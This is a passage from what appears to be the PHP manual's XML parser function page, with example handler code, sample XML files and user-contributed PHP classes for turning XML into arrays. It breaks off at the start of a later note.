    xml_set_processing_instruction_handler($xml_parser, "PIHandler");
    xml_set_default_handler($xml_parser, "defaultHandler");
    xml_set_external_entity_ref_handler($xml_parser, "externalEntityRefHandler");

    if (!($fp = @fopen($file, "r"))) {
        return false;
    }
    if (!is_array($parser_file)) {
        settype($parser_file, "array");
    }
    $parser_file[$xml_parser] = $file;
    return array($xml_parser, $fp);
}

if (!(list($xml_parser, $fp) = new_xml_parser($file))) {
    die("could not open XML input");
}

echo "<pre>";
while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d\n",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
echo "</pre>";
echo "parse complete\n";
xml_parser_free($xml_parser);

?>

Example #2 xmltest.xml

<?xml version='1.0'?>
<!DOCTYPE chapter SYSTEM "/just/a/test.dtd" [
<!ENTITY plainEntity "FOO entity">
<!ENTITY systemEntity SYSTEM "xmltest2.xml">
]>
<chapter>
 <TITLE>Title &plainEntity;</TITLE>
 <para>
  <informaltable>
   <tgroup cols="3">
    <tbody>
     <row><entry>a1</entry><entry morerows="1">b1</entry><entry>c1</entry></row>
     <row><entry>a2</entry><entry>c2</entry></row>
     <row><entry>a3</entry><entry>b3</entry><entry>c3</entry></row>
    </tbody>
   </tgroup>
  </informaltable>
 </para>
 &systemEntity;
 <section id="about">
  <title>About this Document</title>
  <para>
   <!-- this is a comment -->
   <?php echo 'Hi!  This is PHP version ' . phpversion(); ?>
  </para>
 </section>
</chapter>

此文件包含在 xmltest.xml 中:

Example #3 xmltest2.xml

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY testEnt "test entity">
]>
<foo>
   <element attrib="value"/>
   &testEnt;
   <?php echo "This is some more PHP code being executed."; ?>
</foo>

User Contributed Notes

There are no user contributed notes for this page.


XML 解析器函数

Table of Contents

  • utf8_decode — 将用 UTF-8 方式编码的 ISO-8859-1 字符串转换成单字节的 ISO-8859-1 字符串。
  • utf8_encode — 将 ISO-8859-1 编码的字符串转换为 UTF-8 编码
  • xml_error_string — 获取 XML 解析器的错误字符串
  • xml_get_current_byte_index — 获取 XML 解析器的当前字节索引
  • xml_get_current_column_number — 获取 XML 解析器的当前列号
  • xml_get_current_line_number — 获取 XML 解析器的当前行号
  • xml_get_error_code — 获取 XML 解析器错误代码
  • xml_parse_into_struct — 将 XML 数据解析到数组中
  • xml_parse — 开始解析一个 XML 文档
  • xml_parser_create_ns — 生成一个支持命名空间的 XML 解析器
  • xml_parser_create — 建立一个 XML 解析器
  • xml_parser_free — 释放指定的 XML 解析器
  • xml_parser_get_option — 从 XML 解析器获取选项设置信息
  • xml_parser_set_option — 为指定 XML 解析进行选项设置
  • xml_set_character_data_handler — 建立字符数据处理器
  • xml_set_default_handler — 建立默认处理器
  • xml_set_element_handler — 建立起始和终止元素处理器
  • xml_set_end_namespace_decl_handler — 建立终止命名空间声明处理器
  • xml_set_external_entity_ref_handler — 建立外部实体指向处理器
  • xml_set_notation_decl_handler — 建立注释声明处理器
  • xml_set_object — 在对象中使用 XML 解析器
  • xml_set_processing_instruction_handler — 建立处理指令（PI）处理器
  • xml_set_start_namespace_decl_handler — 建立起始命名空间声明处理器
  • xml_set_unparsed_entity_decl_handler — 建立未解析实体定义声明处理器

User Contributed Notes

filip dot rydlo at gmail dot com 18-Apr-2017 09:28
// Fix for xmlToArrayParser  .......... hope this helps somebody. :-)

// FIXED the "MULTIPLE-CALLS to callback for one string" issue of 'cdata' in  xmlToArrayParser written by:
// Glen at ITIStudios dot ca  (2012)

  private function cdata($parser, $cdata) {
    if(isset($this->pointer['cdata'])) {      // This FIXes the issue with "INCOMPLETE STRINGS" containing html-entities
      $this->pointer['cdata'] .= $cdata;
    } else {
      $this->pointer['cdata'] = $cdata;
    }
  }
anrdaemon at freemail dot ru 10-Feb-2016 06:06
You must not, never ever use utf8_encode() and utf8_decode().
If you need multibyte conversion utility, use iconv() instead. At the very least, you will get a notification, if your string can not be converted.
utf8_* crap, like other crap of this nature, is ONLY SUPPORTING ONE CONVERSION. ISO-8859-1 <=> UTF-8.
Glen at ITIStudios dot ca 15-Aug-2013 06:42
Update: concatenate element contents in function cdata()
<?php
/**
 *  XML to Associative Array Class
 *
 *  Usage:
 *     $domObj = new xmlToArrayParser($xml);
 *     $domArr = $domObj->array;
 *
 *     if($domObj->parse_error) echo $domObj->get_xml_error();
 *     else print_r($domArr);
 *
 *     On Success:
 *     eg. $domArr['top']['element2']['attrib']['var2'] => val2
 *
 *     On Error:
 *     eg. Error Code [76] "Mismatched tag", at char 58 on line 3
 */

/**
 * Convert an xml file or string to an associative array (including the tag attributes):
 * $domObj = new xmlToArrayParser($xml);
 * $elemVal = $domObj->array['element']
 * Or:  $domArr=$domObj->array;  $elemVal = $domArr['element'].
 *
 * @version  3.0
 * @param Str $xml file/string.
 */
class xmlToArrayParser {
  /** The array created by the parser can be assigned to any variable: $anyVarArr = $domObj->array.*/
  public  $array = array();
  public  $parse_error = false;
  private $parser;
  private $pointer;

  /** Constructor: $domObj = new xmlToArrayParser($xml); */
  public function __construct($xml) {
    $this->pointer =& $this->array;
    $this->parser = xml_parser_create("UTF-8");
    xml_set_object($this->parser, $this);
    xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
    xml_set_element_handler($this->parser, "tag_open", "tag_close");
    xml_set_character_data_handler($this->parser, "cdata");
    $this->parse_error = xml_parse($this->parser, ltrim($xml))? false : true;
  }

  /** Free the parser. */
  public function __destruct() { xml_parser_free($this->parser);}

  /** Get the xml error if an an error in the xml file occured during parsing. */
  public function get_xml_error() {
    if($this->parse_error) {
      $errCode = xml_get_error_code ($this->parser);
      $thisError =  "Error Code [". $errCode ."] \"<strong style='color:red;'>" . xml_error_string($errCode)."</strong>\",
                            at char ".xml_get_current_column_number($this->parser) . "
                            on line ".xml_get_current_line_number($this->parser)."";
    }else $thisError = $this->parse_error;
    return $thisError;
  }

  private function tag_open($parser, $tag, $attributes) {
    $this->convert_to_array($tag, 'attrib');
    $idx=$this->convert_to_array($tag, 'cdata');
    if(isset($idx)) {
      $this->pointer[$tag][$idx] = Array('@idx' => $idx,'@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag][$idx];
    }else {
      $this->pointer[$tag] = Array('@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag];
    }
    if (!empty($attributes)) { $this->pointer['attrib'] = $attributes; }
  }

  /** Adds the current elements content to the current pointer[cdata] array. */
  private function cdata($parser, $cdata){
    if (isset($this->pointer['cdata'])) { $this->pointer['cdata'] .= $cdata;}
    else { $this->pointer['cdata'] = $cdata; }
  }

  private function tag_close($parser, $tag) {
    $current = & $this->pointer;
    if(isset($this->pointer['@idx'])) {unset($current['@idx']);}
    $this->pointer = & $this->pointer['@parent'];
    unset($current['@parent']);
    if(isset($current['cdata']) && count($current) == 1) { $current = $current['cdata'];}
    else if(empty($current['cdata'])) {unset($current['cdata']);}
  }

  /** Converts a single element item into array(element[0]) if a second element of the same name is encountered. */
  private function convert_to_array($tag, $item) {
    if(isset($this->pointer[$tag]) && !is_array($this->pointer[$tag])){
      $content = $this->pointer[$tag];
      $this->pointer[$tag] = array((0) => $content);
      $idx = 1;
    }else if (isset($this->pointer[$tag])) {
      $idx = count($this->pointer[$tag]);
      if(!isset($this->pointer[$tag][0])) {
        foreach ($this->pointer[$tag] as $key => $value) {
            unset($this->pointer[$tag][$key]);
            $this->pointer[$tag][0][$key] = $value;
    }}}else $idx = null;
    return $idx;
  }
}
?>
Glen at ITIStudios dot ca 05-Apr-2013 07:38
Update: corrected isset() in convert_to_array() function
<?php
/**
 *  XML to Associative Array Class
 *
 *  Usage:
 *     $domObj = new xmlToArrayParser($xml);
 *     $domArr = $domObj->array;
 *
 *     if($domObj->parse_error) echo $domObj->get_xml_error();
 *     else print_r($domArr);
 *
 *     On Success:
 *     eg. $domArr['top']['element2']['attrib']['var2'] => val2
 *
 *     On Error:
 *     eg. Error Code [76] "Mismatched tag", at char 58 on line 3
 */

/**
 * Convert an xml file or string to an associative array (including the tag attributes):
 * $domObj = new xmlToArrayParser($xml);
 * $elemVal = $domObj->array['element']
 * Or:  $domArr=$domObj->array;  $elemVal = $domArr['element'].
 *
 * @version  2.0
 * @param Str $xml file/string.
 */
class xmlToArrayParser {
  /** The array created by the parser can be assigned to any variable: $anyVarArr = $domObj->array.*/
  public  $array = array();
  public  $parse_error = false;
  private $parser;
  private $pointer;

  /** Constructor: $domObj = new xmlToArrayParser($xml); */
  public function __construct($xml) {
    $this->pointer =& $this->array;
    $this->parser = xml_parser_create("UTF-8");
    xml_set_object($this->parser, $this);
    xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
    xml_set_element_handler($this->parser, "tag_open", "tag_close");
    xml_set_character_data_handler($this->parser, "cdata");
    $this->parse_error = xml_parse($this->parser, ltrim($xml))? false : true;
  }

  /** Free the parser. */
  public function __destruct() { xml_parser_free($this->parser);}

  /** Get the xml error if an an error in the xml file occured during parsing. */
  public function get_xml_error() {
    if($this->parse_error) {
      $errCode = xml_get_error_code ($this->parser);
      $thisError =  "Error Code [". $errCode ."] \"<strong style='color:red;'>" . xml_error_string($errCode)."</strong>\",
                            at char ".xml_get_current_column_number($this->parser) . "
                            on line ".xml_get_current_line_number($this->parser)."";
    }else $thisError = $this->parse_error;
    return $thisError;
  }

  private function tag_open($parser, $tag, $attributes) {
    $this->convert_to_array($tag, 'attrib');
    $idx=$this->convert_to_array($tag, 'cdata');
    if(isset($idx)) {
      $this->pointer[$tag][$idx] = Array('@idx' => $idx,'@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag][$idx];
    }else {
      $this->pointer[$tag] = Array('@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag];
    }
    if (!empty($attributes)) { $this->pointer['attrib'] = $attributes; }
  }

  /** Adds the current elements content to the current pointer[cdata] array. */
  private function cdata($parser, $cdata) { $this->pointer['cdata'] = trim($cdata); }

  private function tag_close($parser, $tag) {
    $current = & $this->pointer;
    if(isset($this->pointer['@idx'])) {unset($current['@idx']);}

    $this->pointer = & $this->pointer['@parent'];
    unset($current['@parent']);

    if(isset($current['cdata']) && count($current) == 1) { $current = $current['cdata'];}
    else if(empty($current['cdata'])) {unset($current['cdata']);}
  }

  /** Converts a single element item into array(element[0]) if a second element of the same name is encountered. */
  private function convert_to_array($tag, $item) {
    if(isset($this->pointer[$tag]) && !is_array($this->pointer[$tag])){
      $content = $this->pointer[$tag];
      $this->pointer[$tag] = array((0) => $content);
      $idx = 1;
    }else if (isset($this->pointer[$tag])) {
      $idx = count($this->pointer[$tag]);
      if(!isset($this->pointer[$tag][0])) {
        foreach ($this->pointer[$tag] as $key => $value) {
            unset($this->pointer[$tag][$key]);
            $this->pointer[$tag][0][$key] = $value;
    }}}else $idx = null;
    return $idx;
  }
}
?>
Glen at ITIStudios dot ca 02-Dec-2011 03:37
<?php
/**
 *  XML to Associative Array Class
 *
 *  Usage:
 *     $domObj = new xmlToArrayParser($xml);
 *     $domArr = $domObj->array;
 *
 *     if($domObj->parse_error) echo $domObj->get_xml_error();
 *     else print_r($domArr);
 *
 *     On Success:
 *     eg. $domArr['top']['element2']['attrib']['var2'] => val2
 *
 *     On Error:
 *     eg. Error Code [76] "Mismatched tag", at char 58 on line 3
 */

/**
 * Convert an xml file or string to an associative array (including the tag attributes):
 * $domObj = new xmlToArrayParser($xml);
 * $elemVal = $domObj->array['element']
 * Or:  $domArr=$domObj->array;  $elemVal = $domArr['element'].
 *
 * @version  2.0
 * @param Str $xml file/string.
 */
class xmlToArrayParser {
  /** The array created by the parser can be assigned to any variable: $anyVarArr = $domObj->array.*/
  public  $array = array();
  public  $parse_error = false;
  private $parser;
  private $pointer;

  /** Constructor: $domObj = new xmlToArrayParser($xml); */
  public function __construct($xml) {
    $this->pointer =& $this->array;
    $this->parser = xml_parser_create("UTF-8");
    xml_set_object($this->parser, $this);
    xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
    xml_set_element_handler($this->parser, "tag_open", "tag_close");
    xml_set_character_data_handler($this->parser, "cdata");
    $this->parse_error = xml_parse($this->parser, ltrim($xml))? false : true;
  }

  /** Free the parser. */
  public function __destruct() { xml_parser_free($this->parser);}

  /** Get the xml error if an an error in the xml file occured during parsing. */
  public function get_xml_error() {
    if($this->parse_error) {
      $errCode = xml_get_error_code ($this->parser);
      $thisError =  "Error Code [". $errCode ."] \"<strong style='color:red;'>" . xml_error_string($errCode)."</strong>\",
                            at char ".xml_get_current_column_number($this->parser) . "
                            on line ".xml_get_current_line_number($this->parser)."";
    }else $thisError = $this->parse_error;
    return $thisError;
  }

  private function tag_open($parser, $tag, $attributes) {
    $this->convert_to_array($tag, 'attrib');
    $idx=$this->convert_to_array($tag, 'cdata');
    if(isset($idx)) {
      $this->pointer[$tag][$idx] = Array('@idx' => $idx,'@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag][$idx];
    }else {
      $this->pointer[$tag] = Array('@parent' => &$this->pointer);
      $this->pointer =& $this->pointer[$tag];
    }
    if (!empty($attributes)) { $this->pointer['attrib'] = $attributes; }
  }

  /** Adds the current elements content to the current pointer[cdata] array. */
  private function cdata($parser, $cdata) { $this->pointer['cdata'] = trim($cdata); }

  private function tag_close($parser, $tag) {
    $current = & $this->pointer;
    if(isset($this->pointer['@idx'])) {unset($current['@idx']);}

    $this->pointer = & $this->pointer['@parent'];
    unset($current['@parent']);

    if(isset($current['cdata']) && count($current) == 1) { $current = $current['cdata'];}
    else if(empty($current['cdata'])) {unset($current['cdata']);}
  }

  /** Converts a single element item into array(element[0]) if a second element of the same name is encountered. */
  private function convert_to_array($tag, $item) {
    if(isset($this->pointer[$tag][$item])) {
      $content = $this->pointer[$tag];
      $this->pointer[$tag] = array((0) => $content);
      $idx = 1;
    }else if (isset($this->pointer[$tag])) {
      $idx = count($this->pointer[$tag]);
      if(!isset($this->pointer[$tag][0])) {
        foreach ($this->pointer[$tag] as $key => $value) {
            unset($this->pointer[$tag][$key]);
            $this->pointer[$tag][0][$key] = $value;
    }}}else $idx = null;
    return $idx;
  }
}
?>

This is supplimental information for the "class xmlToArrayParser".
This is a fully functional error free, extensively tested php class unlike the posts that follow it.

Key phrase: Fully functional, fully tested, error free XML To Array parser.

<?php
/**
 * class xmlToArrayParser
 *
  Notes:
  1. 'attrib' and 'cdata' are keys added to the array when the element contains both attributes and content.
  2. Ignores content that is not in between it's own set of tags.
  3. Don't know if it recognizes processing instructions nor do I know about processing instructions.
     <\?some_pi some_attr="some_value"?>  This is the same as a document declaration.
  4. Empty elements are not included unless they have attributes.
  5. Version 2.0, Dec. 2, 2011, added xml error reporting.

  Usage:
    $domObj = new xmlToArrayParser($xml);
    $elemVal = $domObj->array['element']
    Or assign the entire array to its own variable:
    $domArr = $domObj->array;
    $elemVal = $domArr['element']

  Example:
    $xml = '<?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <top>
      <element1>element content 1</element1>
      <element2 var2="val2" />
      <element3 var3="val3" var4="val4">element content 3</element3>
      <element3 var5="val5">element content 4</element3>
      <element3 var6="val6" />
      <element3>element content 7</element3>
    </top>';

    $domObj = new xmlToArrayParser($xml);
    $domArr = $domObj->array;

    if($domObj->parse_error) echo $domObj->get_xml_error();
    else print_r($domArr);

    On Success:
    $domArr['top']['element1'] => element content 1
    $domArr['top']['element2']['attrib']['var2'] => val2
    $domArr['top']['element3']['0']['attrib']['var3'] => val3
    $domArr['top']['element3']['0']['attrib']['var4'] => val4
    $domArr['top']['element3']['0']['cdata'] => element content 3
    $domArr['top']['element3']['1']['attrib']['var5'] => val5
    $domArr['top']['element3']['1']['cdata'] => element content 4
    $domArr['top']['element3']['2']['attrib']['var6'] => val6
    $domArr['top']['element3']['3'] => element content 7

    On Error:
    Error Code [76] "Mismatched tag", at char 58 on line 3
 *
 */
?>
wolfon.AT-DoG.inbox.ru 28-Jul-2008 03:09
Finally a simple xml => array class.
Functioning like SimpleXML library.

<?php
class xml  {
    private $parser;
    private $pointer;
    public $dom;

    public function __construct($data) {
        $this->pointer =& $this->dom;
        $this->parser = xml_parser_create();
        xml_set_object($this->parser, $this);
        xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
        xml_set_element_handler($this->parser, "tag_open", "tag_close");
        xml_set_character_data_handler($this->parser, "cdata");
        xml_parse($this->parser, $data);
    }

    private function tag_open($parser, $tag, $attributes) {
        if (isset($this->pointer[$tag]['@attributes'])) {
            $content = $this->pointer[$tag];
            $this->pointer[$tag] = array(0 => $content);
            $idx = 1;
        } else if (isset($this->pointer[$tag]))
            $idx = count($this->pointer[$tag]);

        if (isset($idx)) {
            $this->pointer[$tag][$idx] = Array(
                '@idx' => $idx,
                '@parent' => &$this->pointer);
               $this->pointer =& $this->pointer[$tag][$idx];
        } else {
            $this->pointer[$tag] = Array(
                '@parent' => &$this->pointer);
            $this->pointer =& $this->pointer[$tag];
        }
        if (!empty($attributes))
            $this->pointer['@attributes'] = $attributes;
    }

    private function cdata($parser, $cdata) {
           $this->pointer['@data'] = $cdata;
    }

    private function tag_close($parser, $tag) {
        $current = & $this->pointer;
        if (isset($this->pointer['@idx']))
            unset($current['@idx']);

        $this->pointer = & $this->pointer['@parent'];

          unset($current['@parent']);
           if (isset($current['@data']) && count($current) == 1)
               $current = $current['@data'];
           else if (empty($current['@data'])||$current['@data']==0)
               unset($current['@data']);
    }
}
?>

maybe I'll do some explanations on habr
geoff at spacevs dot com 07-Nov-2007 09:13
Reading xml into a class:

<?PHP
        class XmlData {}
        $elements = array();
        $elements[] =& new XmlData();
        function startElement($parser, $name, $attrs) {
                global $elements;
                $element =& new XMLData();
                $elements[count($elements)-1]->$name =& $element;
                $elements[] =& $element;
        }
        function endElement($parser, $name) {
                global $elements;
                array_pop($elements);
        }
        function characterData($parser, $data) {
                global $elements;
                $elements[count($elements)-1]->data = $data;
        }
        $xml_parser     = xml_parser_create();
        xml_set_element_handler($xml_parser, "startElement", "endElement");
        xml_set_character_data_handler($xml_parser, "characterData");
        xml_parse($xml_parser, $xml, true);
        xml_parser_free($xml_parser);
        $request =& array_pop($elements);

        echo $request->LOGIN->USER->data;
?>
demonpants at gmail dot com 22-Oct-2007 08:59
I wanted to access the ISBN database, and was previously parsing the HTML string generated from their main page, that is until I discovered they have an API that returns XML.

So, if anyone wants to get some information from the ISBN database, all you need to do is the following.

<?php
//Search the ISBN database for the book.
            $url = "http://www.isbndb.com/api/books.xml? access_key=KEY&index1=isbn&value1=$_GET[ISBN]";
            $p = xml_parser_create();
            xml_parse_into_struct($p,file_get_contents($url),$results,$index);
            xml_parser_free($p);

            $title = $results[$index[TITLELONG][0]][value];
            $author = $results[$index[AUTHORSTEXT][0]][value];
            $publisher = $results[$index[PUBLISHERTEXT][0]][value];
?>

You will need to get an access key from isbndb.com, but it takes two seconds and is free. When you get it, replace KEY in the URL with your own key. Also, my code above will search for the book that fits the ISBN number stored in the GET variable ISBN - you can search by other parameters and return more than one result, but my example is  for a simple ISBN search.
Zvjezdan Patz 09-Sep-2007 08:22
The problem I had was I needed to generate xml on the screen for users to actually see and copy to a file.

I'm generating the xml manually from a php file and the browser kept interpreting the xml...not very helpful.

This is how you get around it:

<?php

$file  = file_get_contents("http://example.com/xml.php?whatever=$whatever");
print nl2br(htmlentities($file));

?>

Prints all my xml quite nicely.
v9 at fakehalo dot us 13-Jul-2007 08:04
I needed this for work/personal use.  Sometimes you'll have a XML string generated as one long string and no line breaks...nusoap in the case of today/work, but there are any other number of possible things that will generate these.  Anyways, this simply takes a long XML string and returns an indented/line-breaked version of the string for display/readability.

<?php
function xmlIndent($str){
    $ret = "";
    $indent = 0;
    $indentInc = 3;
    $noIndent = false;
    while(($l = strpos($str,"<",$i))!==false){
        if($l!=$r && $indent>0){ $ret .= "\n" . str_repeat(" ",$indent) . substr($str,$r,($l-$r)); }
        $i = $l+1;
        $r = strpos($str,">",$i)+1;
        $t = substr($str,$l,($r-$l));
        if(strpos($t,"/")==1){
            $indent -= $indentInc;
            $noIndent = true;
        }
        else if(($r-$l-strpos($t,"/"))==2 || substr($t,0,2)=="<?"){ $noIndent = true; }
        if($indent<0){ $indent = 0; }
        if($ret){ $ret .= "\n"; }
        $ret .= str_repeat(" ",$indent);
        $ret .= $t;
        if(!$noIndent){ $indent += $indentInc; }
        $noIndent = false;
    }
    $ret .= "\n";
    return($ret);
}
?>

(...this was only tested for what i needed at work, could POSSIBLY need additions)
geoffers [at] gmail [dot] com 30-Dec-2006 03:27
Time to add my attempt at a very simple script that parses XML into a structure:

<?php

class Simple_Parser
{
    var $parser;
    var $error_code;
    var $error_string;
    var $current_line;
    var $current_column;
    var $data = array();
    var $datas = array();

    function parse($data)
    {
        $this->parser = xml_parser_create('UTF-8');
        xml_set_object($this->parser, $this);
        xml_parser_set_option($this->parser, XML_OPTION_SKIP_WHITE, 1);
        xml_set_element_handler($this->parser, 'tag_open', 'tag_close');
        xml_set_character_data_handler($this->parser, 'cdata');
        if (!xml_parse($this->parser, $data))
        {
            $this->data = array();
            $this->error_code = xml_get_error_code($this->parser);
            $this->error_string = xml_error_string($this->error_code);
            $this->current_line = xml_get_current_line_number($this->parser);
            $this->current_column = xml_get_current_column_number($this->parser);
        }
        else
        {
            $this->data = $this->data['child'];
        }
        xml_parser_free($this->parser);
    }

    function tag_open($parser, $tag, $attribs)
    {
        $this->data['child'][$tag][] = array('data' => '', 'attribs' => $attribs, 'child' => array());
        $this->datas[] =& $this->data;
        $this->data =& $this->data['child'][$tag][count($this->data['child'][$tag])-1];
    }

    function cdata($parser, $cdata)
    {
        $this->data['data'] .= $cdata;
    }

    function tag_close($parser, $tag)
    {
        $this->data =& $this->datas[count($this->datas)-1];
        array_pop($this->datas);
    }
}

$xml_parser = new Simple_Parser;
$xml_parser->parse('<foo><bar>test</bar></foo>');

?>
Didier: dlvb ** free * fr 24-Dec-2006 09:53
Hi !

After parsing the XML and modifying it, I just add a method to rebuild the XML form the internal structure (xmlp->document).
The method xmlp->toXML writes into xmlp->XML attributes. Then, you just have to output it.
I hope it helps.

<?php
class XMLParser {

var $parser;
var $filePath;
var $document;
var $currTag;
var $tagStack;
var $XML;
var $_tag_to_close = false;
var $TAG_ATTRIBUT = 'attr';
var $TAG_DATA = 'data';

function XMLParser($path) {
    $this->parser = xml_parser_create();
    $this->filePath = $path;
    $this->document = array();
    $this->currTag =& $this->document;
    $this->tagStack = array();
    $this->XML = "";
}

function parse() {
    xml_set_object($this->parser, $this);
    xml_set_character_data_handler($this->parser, 'dataHandler');
    xml_set_element_handler($this->parser, 'startHandler', 'endHandler');

   if(!($fp = fopen($this->filePath, "r"))) {
       die("Cannot open XML data file: $this->filePath");
       return false;
     }

    while($data = fread($fp, 4096)) {
        if(!xml_parse($this->parser, $data, feof($fp))) {
            die(sprintf("XML error: %s at line %d",
                xml_error_string(xml_get_error_code($this->parser)),
             xml_get_current_line_number($this->parser)));
      }
    }

    fclose($fp);
    xml_parser_free($this->parser);

    return true;
}

function startHandler($parser, $name, $attribs) {
     if(!isset($this->currTag[$name]))
          $this->currTag[$name] = array();

     $newTag = array();
     if(!empty($attribs))
          $newTag[$this->TAG_ATTRIBUT] = $attribs;
     array_push($this->currTag[$name], $newTag);

     $t =& $this->currTag[$name];
     $this->currTag =& $t[count($t)-1];
     array_push($this->tagStack, $name);
}

function dataHandler($parser, $data) {
    $data = trim($data);

    if(!empty($data)) {
      if(isset($this->currTag[$this->TAG_DATA]))
            $this->currTag[$this->TAG_DATA] .= $data;
      else
            $this->currTag[$this->TAG_DATA] = $data;
    }
}

function endHandler($parser, $name) {
     $this->currTag =& $this->document;
     array_pop($this->tagStack);

     for($i = 0; $i < count($this->tagStack); $i++) {
          $t =& $this->currTag[$this->tagStack[$i]];
          $this->currTag =& $t[count($t)-1];
     }
}

function clearOutput () {
    $this->XML = "";
}

function openTag ($tag) {
    $this->XML.="<".strtolower ($tag);
    $this->_tag_to_close = true;
}

function closeTag () {
    if ($this->_tag_to_close) {
        $this->XML.=">";
        $this->_tag_to_close = false;
    }
}

function closingTag ($tag) {
    $this->XML.="</".strtolower ($tag).">";
}

function output_attributes ($contenu_fils) {
    foreach ($contenu_fils[$this->TAG_ATTRIBUT] as $nomAttribut => $valeur) {
        $this->XML.= " ".strtolower($nomAttribut)."=\"".$valeur."\"";
    }
}

function addData ($texte) {
// to be completed
    $ca  = array ("é", "è", "ê", "à");
    $par = array ("&eacute;", "&egrave;", "&ecirc;", "agrave;");
    return htmlspecialchars(str_replace ($ca, $par, $texte), ENT_NOQUOTES);
}

function toXML ($tags="") {
    if ($tags=="") {
        $tags = $this->document;
      $this->clearOutput ();
    }

    foreach ($tags as $tag => $contenu) {
        $this->process ($tag, $contenu);
    }
}

function process ($tag, $contenu) {
     // Pour tous les TAGs
    foreach ($contenu as $indice => $contenu_fils) {
         $this->openTag ($tag);

         // Pour tous les fils (non attribut et non data)
         foreach ($contenu_fils as $tagFils => $fils) {
             switch ($tagFils) {
                 case $this->TAG_ATTRIBUT:
                         $this->output_attributes ($contenu_fils);
                        $this->closeTag ();
                         break;
                 case $this->TAG_DATA:
                        $this->closeTag ();
                         $this->XML.= $this->addData ($contenu_fils [$this->TAG_DATA]);
                         break;
                 default:
                         $this->closeTag ();
                         $this->process ($tagFils, $fils);
                         break;
             }
         }

        $this->closingTag ($tag);
    }
}

}
?>
forquan 28-Jan-2006 03:45
Here's code that will create an associative array from an xml file.  Keys are the tag data and subarrays are formed from attributes and child tags

<?php
$p =& new xmlParser();
$p->parse('/*xml file*/');
print_r($p->output);
?>

<?php
class xmlParser{
   var $xml_obj = null;
   var $output = array();
   var $attrs;

   function xmlParser(){
       $this->xml_obj = xml_parser_create();
       xml_set_object($this->xml_obj,$this);
       xml_set_character_data_handler($this->xml_obj, 'dataHandler');
       xml_set_element_handler($this->xml_obj, "startHandler", "endHandler");
   }

   function parse($path){
       if (!($fp = fopen($path, "r"))) {
           die("Cannot open XML data file: $path");
           return false;
       }

       while ($data = fread($fp, 4096)) {
           if (!xml_parse($this->xml_obj, $data, feof($fp))) {
               die(sprintf("XML error: %s at line %d",
               xml_error_string(xml_get_error_code($this->xml_obj)),
               xml_get_current_line_number($this->xml_obj)));
               xml_parser_free($this->xml_obj);
           }
       }

       return true;
   }

   function startHandler($parser, $name, $attribs){
       $_content = array();
       if(!empty($attribs))
         $_content['attrs'] = $attribs;
       array_push($this->output, $_content);
   }

   function dataHandler($parser, $data){
       if(!empty($data) && $data!="\n") {
           $_output_idx = count($this->output) - 1;
           $this->output[$_output_idx]['content'] .= $data;
       }
   }

   function endHandler($parser, $name){
       if(count($this->output) > 1) {
           $_data = array_pop($this->output);
           $_output_idx = count($this->output) - 1;
           $add = array();
           if ($_data['attrs'])
                $add['attrs'] = $_data['attrs'];
           if ($_data['child'])
                $add['child'] = $_data['child'];
           $this->output[$_output_idx]['child'][$_data['content']] = $add;
       }
   }
}
?>
Greg S 17-Nov-2005 08:56
If you need utf8_encode support and configure PHP with --disable-all you will have some trouble. Unfortunately the configure options aren't completely documented. If you need utf8 functions and have everything disabled just recompile PHP with --enable-xml and you should be good to go.
compu_global_hyper_mega_net_2 at yahoo dot com 19-Sep-2004 01:35
The documentation regarding white space was never complete I think.

The XML_OPTION_SKIP_WHITE doesn't appear to do anything.  I want to preserve the newlines in a cdata section.  Setting XML_OPTION_SKIP_WHITE to 0 or false doesn't appear to help.  My character_data_handler is getting called once for each line.  This obviously should be reflected in the documentation as well.  When/how often does the handler get called exactly?  Having to build separate test cases is very time consuming.

Inserting newlines myself in my cdata handler is no good either.  For non actual CDATA sections that cause my handler to get called, long lines are split up in multiple calls.  My handler would not be able to tell the difference whether or not the subsequent calls would be due to the fact that the data is coming from the next line or the fact that some internal buffer is long enough for it to 'flush' out and call the handler.
This behaviour also needs to be properly documented.
odders 18-Mar-2004 10:36
I wrote a simple xml parser mainly to deal with rss version 2. I found lots of examples on the net, but they were all masive and bloated and hard to manipulate.

Output is sent to an array, which holds arrays containg data for each item.

Obviously, you will have to make modifications to the code to suit your needs, but there isnt a lot of code there, so that shouldnt be a problem.

<?php

   $currentElements = array();
   $newsArray = array();

   readXml("./news.xml");

   echo("<pre>");
   print_r($newsArray);
   echo("</pre>");

   // Reads XML file into formatted html
   function readXML($xmlFile)
   {

      $xmlParser = xml_parser_create();

      xml_parser_set_option($xmlParser, XML_OPTION_CASE_FOLDING, false);
      xml_set_element_handler($xmlParser, startElement, endElement);
      xml_set_character_data_handler($xmlParser, characterData);

      $fp = fopen($xmlFile, "r");

      while($data = fread($fp, filesize($xmlFile))){
         xml_parse($xmlParser, $data, feof($fp));}

      xml_parser_free($xmlParser);

   }

   // Sets the current XML element, and pushes itself onto the element hierarchy
   function startElement($parser, $name, $attrs)
   {

      global $currentElements, $itemCount;

      array_push($currentElements, $name);

      if($name == "item"){$itemCount += 1;}

   }

   // Prints XML data; finds highlights and links
   function characterData($parser, $data)
   {

      global $currentElements, $newsArray, $itemCount;

      $currentCount = count($currentElements);
      $parentElement = $currentElements[$currentCount-2];
      $thisElement = $currentElements[$currentCount-1];

      if($parentElement == "item"){
         $newsArray[$itemCount-1][$thisElement] = $data;}
      else{
         switch($name){
            case "title":
               break;
            case "link":
               break;
            case "description":
               break;
            case "language":
               break;
            case "item":
               break;}}

   }

   // If the XML element has ended, it is poped off the hierarchy
   function endElement($parser, $name)
   {

      global $currentElements;

      $currentCount = count($currentElements);
      if($currentElements[$currentCount-1] == $name){
         array_pop($currentElements);}

   }

?>
software at serv-a-com dot com 22-Jan-2003 02:08
use:

<?php
